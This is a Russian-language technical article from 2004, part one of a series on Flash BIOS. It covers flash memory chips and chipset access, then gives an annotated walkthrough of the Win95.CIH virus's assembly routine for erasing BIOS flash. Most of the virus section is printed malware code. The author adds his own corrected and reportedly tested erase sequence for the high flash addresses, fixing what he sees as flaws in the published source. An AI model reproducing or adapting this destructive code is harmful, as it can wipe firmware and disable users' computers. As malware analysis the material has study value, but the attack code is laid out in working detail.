Почти все, что вы хотели знать о Flash BIOS: Часть 1 — Архив WASM.RU
- Зачем и о чем эта статья
- Начальные сведения
- Оружие Win95.CIH
Зачем и о чем эта статья
В очередной раз наткнувшись на оффтопик в форуме «что такое флэш?», «где находится BIOS?» и т. д., я не выдержал. Решил попробовать прояснить эту тему, а также и себя проявить в новом качестве. Из нее можно извлечь информацию для создания вредоносного кода, поэтому, надеюсь, что таких желающих будет немного. В данной статье я рассмотрю следующие вопросы:
- что такое флэш, принципы работы и строения флэш, как программно работать с флэш;
- вопрос «можно ли сделать запись в флэш для защиты программ?»;
Начальные сведения.
Микросхема Флэш-памяти (EEPROM) присутствует в любом современном компьютере (начиная с 486). Как правило, она предназначена для постоянного хранения начального исполняемого кода загрузки компьютера, хранения кода и данных BIOS. Сама микросхема присутствует в системе как устройство, подключенное к адресному пространству памяти (как DIMM или RDR RAM) и управляемое чипсетом материнской платы. Именно программирование чипсета позволяет (или наооборот, запрещает) получить доступ к флэш-памяти. Флэш подключена в общее пространство памяти и находится в самых верхних ее адресах. Поскольку i386+ позволяет обращаться к 4Gb памяти и если, к примеру, объем флэшки составляет 1 мегабит ( 128 килобайт), то адрес начала флэш памяти равен 4Gb-128 Kb ( 0FFFC0000h). По адресу 0FFFFFFF0h находится первая исполняемая инструкция загрузочного кода BIOS. Данный факт одинаков для любых IBM совместимых компьютеров начиная с 386. Возникает вопрос: «каким образом процессор получает доступ к данному участку памяти при начале работы?» Ответ дает М. Гук в книге “Процессоры Pentium-lll, Athlon и другие”: Сброс (при включении питания) переводит процессор в реальный режим и устанавливает ряд регистров в определенное состояние. В частности устанавливаются следующие значения регистров:
- FLAGS=0002h и биты VM и RF его расширения обнуляются;
- В регистре CR0 обнуляются биты PG, TS, EM, MP и PE;
- CS =F000h;
- EIP=0000FFFF0h;
- DS=ES=SS=FS=GS=0000h;
- Регистр DX содержит информацию о типе процессора.
При вышеуказанном сочетании регистров CS:EIP, находясь в реальном режиме, процессор начинает выполнение инструкции, считанной по физическому адресу 0FFFFFFF0h. Это происходит потому, что в скрытых регистрах кодового сегмента устанавливается база 0FFFF0000h и лимит 0FFFFh, а именно они и определяют реальное местоположение сегмента.Такое определение действует до первой перезагрузки CS при команде межсегментного перехода или вызова, либо при обслуживании прерывания или исключения.
После того как BIOS проинициализирует основные компоненты компьютера, будут запрограммированы регистры чипсета так, чтобы затенить (shadow) адресное пространство флэш- памяти. Теперь данный диапазон памяти устанавливается как read-only.
Теперь немного о самой микросхеме флэш памяти. Во-первых программная реализация микросхем зависит от производителя. Таких на сегодняшний день много, приведу лишь основных:
Winbond, Intel, Amtel, SST, Imt, Macronix и другие. В связи с этим, команды программирования микросхем зависят от производителя. Далее, сами микросхемы помимо объема памяти различаются еще и способу хранения информации:
- sectored – флэш память с секторной структурой. Например, микросхема INTEL 28F001BX-T/12V (128 Кb) имеет 4 сектора: 1-main 112 Kb, 2 сектора по 4 Kb (данные PnP) и bootblock размером в 8 Kb.
- Paged – флэши со страничной структурой. Вся память микросхемы представлена в виде одной страницы.
- BULK-ERASE – как п.2, только для перезаписи требуется послать команду предварительной очистки страницы.
- SMALL SECTORS – флэш память с ячеистой структурой. Пример SST 28x040 series (5V/3V/2.7V) (512 Kb) имеет 1024 сектора размером по 128 байт.
- BULK-ERASE, NEEDS BLANKING – как п.3, только требуется еще и blanking команда. Часто используется в старых чипах.
Ну, и как я уже говорил, для того чтобы добраться до самой микросхемы флэш-памяти (имеется ввиду программно) требуется соответствующим образом программировать регистры чипсета материнской платы. И вновь, поскольку производителей чипсетов много (основные: Intel, VIA, SiS, AMD, nVidia) программные алгоритмы разрешения доступа к флэш у всех разные. И раз в этой области не существует общих стандартов, спешу разочаровать начинающих вирмейкеров и желающих защитить программы методом привязывания к сигнатуре, оставленной в флэш-памяти. Код придется писать аппаратно-зависимый (т.е. под конкретную материнскую плату и микросхему памяти), а для попытки объединить все существующие материнские платы и флэш микросхемы придется создавать контору наподобие Award или AMI и набирать с добрый десяток программистов. Даже классические программы доступа к флэш (amiflash или awdflash) работают не на всех материнских платах (несмотря на то, что прошит их «родной» BIOS). Ну и общеизвестно, что на большинстве материнских плат теперь есть перемычка, которая аппаратно запрещает работать с флэш-памятью. Ряд производителей пошли еще дальше. Они используют технологии “Dual BIOS” ( Gigabyte), недокументированные способы защиты флэш чипов (VIA), и др.
Оружие Win95.CIH
Пришла пора привести немного кода. Для начала не свой. J
Правила существуют чтобы их нарушать (или исполнять?). Вернемся в 26 апреля 1999 года. В день годовщины взрыва на Чернобыльской АЭС произошло одно весьма знаменательное событие. Начал свою работу, пожалуй, самый злостный и самый изящный вирус всех времен и народов (до сегодняшенго момента) - WIN95.CIH. Одной из возможностей его «полезной нагрузки» была как раз и попытка уничтожения кода BIOS. Посмотрим как он это делал.
Для начала небольшой комментарий. Во-первых, исходный код вируса можно легко найти в интернете. Поэтому то, что приведено, знает множество людей, я лишь подробно поясню код затирания флэш. Во-вторых, в самом исходном коде допущен ряд неточностей (на мой взгляд), причины которых возможно следующие:
- Сам исходный код процедуры записи BIOS был сознательно изменен при публикации по понятным причинам или попросту неправильно перепечатан. Да и вообще, по моему глубокому убеждению, доступный исходник лишь отражает основные идеи работы вируса, а не является полноценным работоспособным кодом. В конце концов, это и понятно: как вирус затирает BIOS не так интересно, вся красота кода не в этом.
- Возможно, что я сам ошибаюсь ввиду того, что обладаю не всей информацией. Техническая документация по этой теме весьма скупа и крайне специализирована.
Итак, поехали:
Код (Text):
;-------------------------- ; Прибить BIOS EEPROM ;-------------------------- mov bp, 0cf8h ; в BP адрес регистра управления PCI lea esi, IOForEEPROM-@7[esi] ; в ESI адрес процедуры IOForEEPROMДля начала вирус программирует регистры чипсета, чтобы получить доступ к флэш. В регистре bp – адрес регистра управления шиной PCI. Затем определяет адрес процедуры IOForEEPROM (процедура разрешения доступа к флэш) методом дельта-смещения. Взят оригинальный код, поэтому для собственного алгоритма достаточно написать lea esi, IOForEEPROM или mov esi,offset IOForEEPROM. Надо уточнить, что вирус работает в 32 разрядном защищенном режиме с моделью памяти Flat да еще и в 0 кольце. Поэтому для того, чтобы реализовать что-нибудь похожее, придется, как минимум, перевести процессор в FLAT REAL MODE.
Код (Text):
;---------------------- ; Прочитать страницу BIOS ; 000E0000 - 000EFFFF ; ( 64 KB ) ;---------------------- mov edi, 8000384ch ; значение региста управления PCI mov dx , 0cfeh ; регистрВообще данные для устройства на шине PCI пишутся и читаются через порт 0CFCh, который является 32 битным портом. Поэтому инструкция out dx, eax , развернется в четыре команды:
Код (Text):
; out dx ,al ;dx=0CFCh ; out dx+1,ah ;dx=0CFDh ; out dx+2, младший байт старшего слова ;dx=0CFEh (!) ; out dx+3, старший байт старшего слова ;dx=0CFFhДля возможности записи в флэш необходимо будет изменить значение только одного байта, который будет считан и записан в порт 0СFEh. Поэтому, для уменьшения собственного размера, вирус работает только с этим портом, читая один байт вместо двойного слова. Значение регистра edi разберем позднее.
Код (Text):
Cli ; запрещает прерывания call esi ; call IOForEEPROMя включу код процедуры IOForEEPROM прямо здесь на наглядности:
Код (Text):
(IOForEEPROM: @10 = IOForEEPROM xchg eax, edi ; eax=8000384ch, edi=? , данные xchg edx, ebp ; edx=0cf8h,ebp=0cfeh; , регистр out dx, eax ; записываем xchg eax, edi ; edi=8000384ch , eax=? xchg edx, ebp ; edx=0cfeh; ,регистр in al, dx ; получаем тек. значение BooleanCalculateCode = $ ; or al, 44h ; устанавливем ROM enable, eax=value1=800038**h or 44h xchg eax, edi ; eax=8000384ch, edi=value1, данные xchg edx, ebp ; edx=0cf8h, ebp==0cfch; , регистр out dx, eax ; записываем xchg eax, edi ; eax=value1 ,edi=8000384ch , данные xchg edx, ebp ; edx=0cfch, ebp=0cf8h , регистр out dx, al ; записываем ret )Итак, что делает данная процедура? Во-первых, edi=8000384Сh, есть ни что иное
как индекс регистра устройства на шине PCI (в данном случае это какой-нибудь PCI bridge чипсета материнской платы) На wasm.ru есть статья Dark_Mastera “Определение конфигурации компьютера”, где подробно показано, как формируется индекс PCI устройства. Здесь же могу сказать что
8000384ch=10000000000000000011100001001100b получаем номер регистра устройства=4Сh, номер самого устройства= 7, номер функции =0 (основная), шина=0. Вирус записал в порт 0CF8h, 8000384Сh считал из порта 0CFEh текущий статус разрешения доступа к флэш. Далее установил значение в «enable» (al, 44h) и перепрограммировал чипсет. Пока добавлю, что данный метод открытия доступа к флэш характерен для чипсетов 430VX, HX,TX и некоторых других фирмы Intel. Более подробно мы разберем методы программирования различных чипсетов во второй части статьи.
Код (Text):
;---------------------- ; Прочитать страницу BIOS ; 000F0000 - 000FFFFF ; ( 64 KB ) ;---------------------- mov di, 0058h ; edi=80000058h dec edx ; edx=0cfdh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h ;@10= and al,0fh 0f24- ;опкод команды and al,0fh call esi ; call IOForEEPROMЗдесь, похоже, вирус исполняет код, разрешающий доступ к флэш для других чипов. (Для каких именно не могу сказать, нигде не нашел регистр 58h, девайса 0).
Кроме того, вирус изменяет код процедуры IOForEEPROM, вставляя в нее команду and al,0fh вместо or al, 44h. Видоизмененный код IOForEEPROM преведен внизу:
Код (Text):
(IOForEEPROM: @10 = IOForEEPROM xchg eax, edi ; eax=80000058h, edi=value1, данные xchg edx, ebp ; edx=0cf8h,ebp=0cfbh ; регистр out dx, eax ; записываем out 0cfbh,80000058h xchg eax, edi ; edi=80000058h,eax=value1 ; данные xchg edx, ebp ; edx=0cfbh;ebp=0cf8h , регистр in al, dx ; получаем тек. значение (BooleanCalculateCode : and al, 0fh ; измененная команда xchg eax, edi ; eax=80000058h, edi=value2 , данные xchg edx, ebp ; edx=0cf8h, ebp=0cfbh; , регистр out dx , eax ; записываем xchg eax, edi ; eax=value2, edi=80000058h, данные xchg edx, ebp ; edx=0cfbh, ebp=0cf8h , регистр out dx, al ; записываем ret ) ;---------------------- ; Прочитать дополнительные данные BIOS ; 000E0000 - 000E01FF ; ( 512 Bytes ) ; и секция дополнительного BIOS (Extra BIOS) ; может быть записана... ;---------------------- lea ebx, EnableEEPROMToWrite-@10[esi] ; получаем адрес процедуры ; EnableEEPROMToWrite mov eax, 0e5555h ; команда для Flash mov ecx, 0e2aaah ; команда для Flash call ebx ; call EnableEEPROMToWriteВот и самое главное: после установки разрешения доступа к флэш, режим записи (в данном случае команда очистки сектора флэш) происходит следующим образом:
(я снова вставил код вызываемой процедуры для наглядности)
Код (Text):
(EnableEEPROMToWrite: mov [eax], cl ; mov[0E5555h], 0AAh mov [ecx], al ; mov[0E2aaah], 55h mov byte ptr [eax], 80h ; mov[0E5555h], 80h ; команда Erase sector mov [eax], cl ; mov[0E5555h], 0AAh mov [ecx], al ; mov[0E2aaah], 55h ret ) mov byte ptr [eax], 60h ; mov[0E5555h], 60h ; команда Confirm erase (30h,50h )Последовательность этих шести команд в адресное пространство сектора флэш (сектор начинается с 0E0000h) приводит к заполнению сектора нулями. mov[0E5555h], 0AAh и
mov[0E2AAAh], 55h – идентификатор команды, mov[0E5555h], 80h – собственно команда “erase setup”. (В данном случае считается, что установлена секторная флэш микросхема). Аналогичны последующие 3 команды подтверждающие очистку флэш. Причем команда mov[0E5555h], 60h (60h) мне не встречалась в технической документации, а если вместо 60h поставить 30h или 50h то флэши наподобие Intel 28F010/12V' и многие другие будут стерты. Здесь и возникает сомнительный момент. Вирус атакует сектор, начало которого расположено по адресу 0Е0000h. Но, как я уже говорил, флэш картируется (отображается) на верхние адреса 4Gb пространства). Поэтому правильно код должен выглядеть так:
Код (Text):
; mov byte ptr [0FFFE5555h] ,0AAh ; mov byte ptr [0FFFE2AAAh] , 55h ; mov byte ptr [0FFFE5555h] , 80h ; команда Erase sector ; mov byte ptr [0FFFE5555h] ,0AAh ; mov byte ptr [0FFFE2AAAh] , 55h ; mov byte ptr [0FFFE5555h] , 50h ; команда Confirm EraseРаботоспособность этого кода проверена. Однако, из-за недостатка информации, можно предположить, что флэш-память картируется и на верхние адреса первого мегабайта. В принципе, это было бы логично, поскольку, начиная работу в реальном режиме и при стандартно установленных базах и лимитах сегментых регистров, процессор не может получить доступ к памяти выше одного мегабайта. Проверить Михаила Гука нет возможности, а проверить картирование флэш памяти на верхние адреса первого мегабайта можно, чем мы и займемся во второй части статьи.
Код (Text):
push ecx ; push 0e2aaah ; ожидаем окончания ; переходных процессов loop $ ;---------------------- ; Прибить дополнительные данные BIOS (BIOS Extra ROM Data) ; 000E0000 - 000E007F ; ( 80h Bytes ) ;---------------------- xor ah, ah ; ah=0 mov [eax], al ; mov mov[0e0055h],55h ; вот собственно и записьЗдесь вирус еще и пишет в стертый сектор, для надежности, пожалуй. По большому счету эта команда лишняя.
Код (Text):
xchg ecx, eax ; снова тормозим loop $ ;---------------------- ; Показать и включить основные данные BIOS {BIOS Main ROM Data} ; 000E0000 - 000FFFFF, (128 KB), может быть записана... ;---------------------- mov eax, 0f5555h ; адрес pop ecx ; ecx=0E2AAAh mov ch, 0aah ; ecx=0EAAAAh call ebx ; call EnableEEPROMToWrite (EnableEEPROMToWrite: mov [eax], cl ; mov[0F5555h] ,0AAh mov [ecx], al ; mov[0EAAAAh], 55h ; тут по-видимому ошибка в коде ; должно быть 0FAAAAh mov byte ptr [eax], 80h ; mov[0F5555h], 80h ; erase sector mov [eax], cl ; mov[0E5555h], 0aah mov [ecx], al ; mov[0EAAAAh], 55h ; тут по-видимому ошибка в коде ;должно быть 0FAAAAh ret ) mov byte ptr [eax], 60h ; mov[0E5555h], 60h ; (30h или 50h надо бы) confirm eraseЗдесь делается попытка записать сектор 0F000h, но либо в коде допущена ошибка, либо изменили исходник. В любом случае вирус уже сделал свое дело - сектор 0E0000h уже пустой…
Код (Text):
push ecx ; push 0EAAAAh loop $ ; ожидаем окончания ; переходных процессов mov byte ptr [eax], 20h ; mov[0e5555h],20h ; подтверждаем очисткуВирус посылает команду 20h, подтверждающую очистку сектора характерную для некоторых модулей флэш
Код (Text):
loop $ ; ожидаем окончания ; переходных процессов ;---------------------- ; Прибить данные об основном BIOS {BIOS Main ROM Data} ; 000FE000 - 000FE07F, (80h Bytes) ;---------------------- mov ah, 0e0h ; eax=0EE055h mov [eax], al ; mov [0EE055h], 55h ; и еще пишем для надежностиЕще пишет для надежности, но в свете предыдущего кода эта попытка неудачна.
Код (Text):
;---------------------- ; Спрятать страницу BIOS ; 000F0000 - 000FFFFF,(64 KB) ;---------------------- …дальше уже неинтересно. Все что надо, вирус уже сделал.
Теперь финальный комментарий. Итак, с учетом поправок, вирус уничтожает данные флэш. Естественно, данный алгоритм работает только на уже старых чипсетах фирмы Intel (430VX,HX,TX,440 LX,BX и подобные (хотя, я думаю, что на некоторых чипсетах серии 8** этот фокус тоже пройдет)) и для некоторых моделей микросхем флэш-памяти (далеко не всех, конечно). В те времена это была наиболее распространенная системная логика, большинство компьютеров собиралось именно на этих платформах, потому и жертв было много. Однако счастливые обладатели чипсетов от фирм VIA и SiS (были еще страшно глючные чипы некоей конторы Opti) тоже на самом деле таковыми не были: далее вирус старательно затирал первые 1000 секторов несущего жесткого диска… .
продожение следует…
пишите levagil@inbox.ru © LevaGil
Почти все, что вы хотели знать о Flash BIOS: Часть 1
Дата публикации 29 июл 2004